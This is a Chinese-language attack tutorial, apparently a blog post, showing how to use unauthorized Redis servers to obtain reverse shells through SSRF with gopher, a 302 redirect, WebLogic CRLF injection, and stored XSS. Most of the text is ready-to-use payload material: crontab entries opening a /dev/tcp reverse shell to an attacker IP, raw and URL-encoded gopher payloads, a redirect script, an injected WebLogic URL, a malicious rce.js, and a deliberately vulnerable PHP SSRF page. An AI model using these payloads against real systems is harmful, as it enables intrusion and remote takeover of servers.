用未授权的redis弹弹弹弹弹shell

前言

ssrf的威力逐渐深入人心,但内网的redis慌的一b。未授权访问的问题导致其很容易被作为跳板成为内部沦陷的罪魁祸首,大家每当发现一处ssrf漏洞的时候,大家总是试图去寻找内网中即将躺枪的redis。redis被弹shell弹出伤了,那到底有几种姿势弹shell?这次就用实验来说话。

基础知识和准备工作

测试IP:

10.1.2.23          # redis
10.1.2.22 # webserver
172.168.1.106 # attacker

gopher,一种信息查找协议,它能将Internet上的文件组织成某种索引,不过现在已经淡出了历史。gopher使用方法为:

gopher://ip:port/_payload

使用gopher发出一次GET请求:

gopher://www.baidu.com:80/_GET%20/search/error.html%20HTTP/1.1%0d%0aHost:www.baidu.com

gopher协议具备跨协议通信的特点,可以通过捕获其他协议数据流的方式将这些协议进行一定转换进而利用gopher协议通信。下面尝试将redis协议转换成为gopher协议。转换之前先来看看正常的redis反弹shell攻击载荷:

$ echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.168.1.106/7777 0>&1\n\n"|redis-cli -h 10.1.2.23 -x set 1
$ redis-cli -h 10.1.2.23
$ 10.1.2.23:6379> config set dir /var/spool/cron/
$ 10.1.2.23:6379> config set dbfilename root
$ 10.1.2.23:6379> save

使用socat监听本地的6379端口的数据流,将数据流转发给redis服务器:

socat -v tcp-listen:6379,fork tcp-connect:10.1.2.23:6379

攻击本地的6379端口,得到这些数据流:

> 2017/06/08 14:37:05.164953  length=87 from=17 to=103
*3\r
$3\r
set\r
$1\r
1\r
$60\r


*/1 * * * * bash -i >& /dev/tcp/172.168.1.106/7777 0>&1


\r
< 2017/06/08 14:37:05.181301 length=5 from=9149 to=9153
+OK\r
> 2017/06/08 14:37:44.483567 length=57 from=17 to=73
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$16\r
/var/spool/cron/\r
< 2017/06/08 14:37:44.501023 length=5 from=9149 to=9153
+OK\r
> 2017/06/08 14:37:49.822737 length=52 from=74 to=125
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$4\r
root\r
< 2017/06/08 14:37:49.837134 length=5 from=9154 to=9158
+OK\r
> 2017/06/08 14:37:53.276943 length=14 from=126 to=139
*1\r
$4\r
save\r
< 2017/06/08 14:37:53.313423 length=5 from=9159 to=9163
+OK\r

数据流中>表示进入redis服务器6379端口的数据,<表示redis服务器返回的消息。将>内的数据流使用下面的转换规则进行转换:

*      # 代表有几个参数
$ # 代表下面这个参数是几个字节
\r # 用%0d%0a表示
# 空白行用%0a表示

得到转换后的攻击载荷:

gopher://10.1.2.23:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$60%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.168.1.106/7777 0>&1%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a

对载荷进行一次url全编码:

gopher://10.1.2.23:6379/_%2a%33%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%31%25%30%64%25%30%61%31%25%30%64%25%30%61%24%36%30%25%30%64%25%30%61%25%30%61%25%30%61%2a%2f%31%20%2a%20%2a%20%2a%20%2a%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%37%32%2e%31%36%38%2e%31%2e%31%30%36%2f%37%37%37%37%20%30%3e%26%31%25%30%61%25%30%61%25%30%64%25%30%61%2a%34%25%30%64%25%30%61%24%36%25%30%64%25%30%61%63%6f%6e%66%69%67%25%30%64%25%30%61%24%33%25%30%64%25%30%61%64%69%72%25%30%64%25%30%61%24%31%36%25%30%64%25%30%61%2f%76%61%72%2f%73%70%6f%6f%6c%2f%63%72%6f%6e%2f%25%30%64%25%30%61%2a%34%25%30%64%25%30%61%24%36%25%30%64%25%30%61%63%6f%6e%66%69%67%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%31%30%25%30%64%25%30%61%64%62%66%69%6c%65%6e%61%6d%65%25%30%64%25%30%61%24%34%25%30%64%25%30%61%72%6f%6f%74%25%30%64%25%30%61%2a%31%25%30%64%25%30%61%24%34%25%30%64%25%30%61%73%61%76%65%25%30%64%25%30%61

另外,如果向redis服务器直接发出一个http请求,会有这样的效果:

1

可见http请求头的每一行都被当做命令执行了,所以可以将攻击载荷放进一个http请求头部:

POST / HTTP/1.1
HOST:10.1.2.23:6379
set 1 "\n\n*/1 * * * * bash -i >& /dev/tcp/172.168.1.106/7777 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root save

发送这个请求,成功执行:

1

ssrf+gopher://

先决条件:

* 存在ssrf的PHP web、Java web
* PHP中curl支持gopher或者curl>7.35.0、Java支持gopher

实验环境:

* Redis2.8.24(centOS7) # 10.1.2.23
* PHP7.1+Apache2.4.10 # 10.1.2.22:8081

首先在Apache服务器的8081端口上创建一个含有ssrf漏洞的PHP文件index.php:

<?php
function curl($ssrf){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ssrf);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$ssrf = $_GET['ssrf'];
curl($ssrf);
?>

尝试访问http://10.1.2.22:8081/index.php?ssrf=file:///etc/passwd确认漏洞是否存在:

1

此时证明漏洞存在,再次确认是否支持gopher协议:

1

直接通过此处的ssrf加载攻击载荷反弹得到shell:

1

ssrf+http://->302->gopher://

先决条件:

* 存在ssrf的PHP web、Java web
* PHP中curl支持gopher或者curl>7.35.0、Java支持gopher
* ssrf只能使用http://

实验环境:

* Redis2.8.24(centOS7) # 10.1.2.23
* Discuz!3.1 # 10.1.2.22:8080
* vps # 0x0c.cc

在Apache服务器的8080端口运行了一个存在ssrf漏洞的Discuz!,其ssrf产生处将协议限制为http,无法使用其他更多协议:

http://10.1.2.22:8080/forum.php?mod=ajax&action=downremoteimg&message=[img]http://0x0c.cc/index.php?hello.jpg[/img]

由于无法直接使用gopher协议,因此此处的ssrf漏洞并不能直接操纵内网的redis。

为此,在vps上创建一个302.php对协议进行转换,通过使用header重定向的方式绕过Discuz!对协议的限制。

<?php
header("Location:<code class="bash">gopher://10.1.2.23:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$60%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.168.1.106/7777 0>&1%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a");
?>

需要注意的是跳转指向的URL中,应该要包含攻击载荷转换后的原始字符串,不能做URL编码,否则会出现不成功的情况。因为PHP在重定向URL的过程中不会进行URL编码和解码,使用URL编码后的攻击载荷,会导致redis无法理解。

接下来先在攻击机上监听,然后使用浏览器或者curl访问以下URL(message参数要进行URL编码):

http://10.1.2.22:8080/forum.php?mod=ajax&action=downremoteimg&message=%5bimg%5dhttp%3a%2f%2f0x0c.cc%2f302.php%3fhello.jpg%5b%2fimg%5d

过一会儿就收到了弹回的shell:

1

ssrf+crlf

先决条件:

* 存在ssrf的PHP web、Java Web
* Web Server存在crlf http头注入

实验环境:

* Redis2.8.24(centOS7) # 10.1.2.23
* Weblogic # 10.1.2.22:7001

Weblogic在10.0.2-10.3.6版本的SearchPublicRegistries.jsp文件中产生了一处ssrf:

http://10.1.2.22:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://0x0c.cc&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
1

这里首先利用回显对内网进行扫描探测,找到存在的redis服务器:

1

由于Weblogic同时存在crlf注入漏洞,导致URL中可以注入回车和换行符%0d%0a,于是可以将攻击载荷直接注入请求头中:

http://10.1.2.22:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://10.1.2.23:6379/%0d%0aset%201%20%22%5cn%5cn%2a%2f1%20%2a%20%2a%20%2a%20%2a%20%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f172%2e168%2e1%2e104%2f7777%200%3E%261%5cn%5cn%22%0d%0aconfig%20set%20dir%20%2fvar%2fspool%2fcron%2f%0d%0aconfig%20set%20dbfilename%20root%0d%0asave%0D%0A%0D%0Aaaa&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

这里要注意在save后应该再增加一段字符,否则save后面的%0d%0a会出现无法插入而执行失败。

在攻击机上设置监听,然后使用浏览器或者curl访问上面的URL即可弹回shell:

1

xss

先决条件:

* 存在xss的Web
* 已获知内网redis服务器ip或Web Server本身运行redis服务但外网无法访问

实验环境:

* Redis2.8.24(centOS7) # 10.1.2.23
* DVWA # 10.1.2.23:80
*\ vps # 0x0c.cc

在redis服务器的80端口运行一个DVWA程序,同时对外封闭6379端口,只允许内部访问:

1

然后在vps上创建一个js文件rce.js,URL为http://0x0c.cc/rce.js,内容如下:

var cmd = new XMLHttpRequest();
cmd.open("POST", "http://10.1.2.23:6379");
cmd.send('eval \'' + 'redis.call(\"set\", \"1\",\"\\n\\n*/1 * * * * /bin/bash -i >& /dev/tcp/172.168.1.106/7777 0>&1\\n\\n"); redis.call(\"config\", \"set\", \"dir\", \"/var/spool/cron/\"); redis.call(\"config\", \"set\", \"dbfilename\", \"root\");' + '\' 0' + "\r\n");
var cmd = new XMLHttpRequest();
cmd.open("POST", "http://10.1.2.23:6379");
cmd.send('save\r\n');

接下来在80端口DVWA中的存储型xss处进行测试,并在留言板中插入这个外部js:

1

在攻击机上设置监听,随后去10.1.2.22上以内网用户的身份查看这个页面:

1

过一会儿shell就弹回来了:

1

此实验中除了可以利用存储型的xss,其他方式的xss均可以利用,甚至在vps上构造一个恶意页面等待内网用户点击就能触发执行。

总结

前面的四个实验基本都囊括了目前利用redis未授权反弹shell的姿势,当然每一种类型又会牵出众多漏洞和案例,例如仅ssrf就包含有XXE、FFmpeg、Confluence等多个应用的漏洞及场景。

ssrf这类漏洞还有待去更多的挖掘,针对未授权服务的利用方式也不仅仅只有反弹shell。望本文能帮助读者举一反三,在真实场景中发散思维。

参考

SSRF in PHP
SSRF in JAVA
利用gopher协议拓展攻击面
60字节-无文件渗透测试实验
Build Your SSRF Exploit Framework——一个只影响有钱人的漏洞

* 转载请注明作者及来源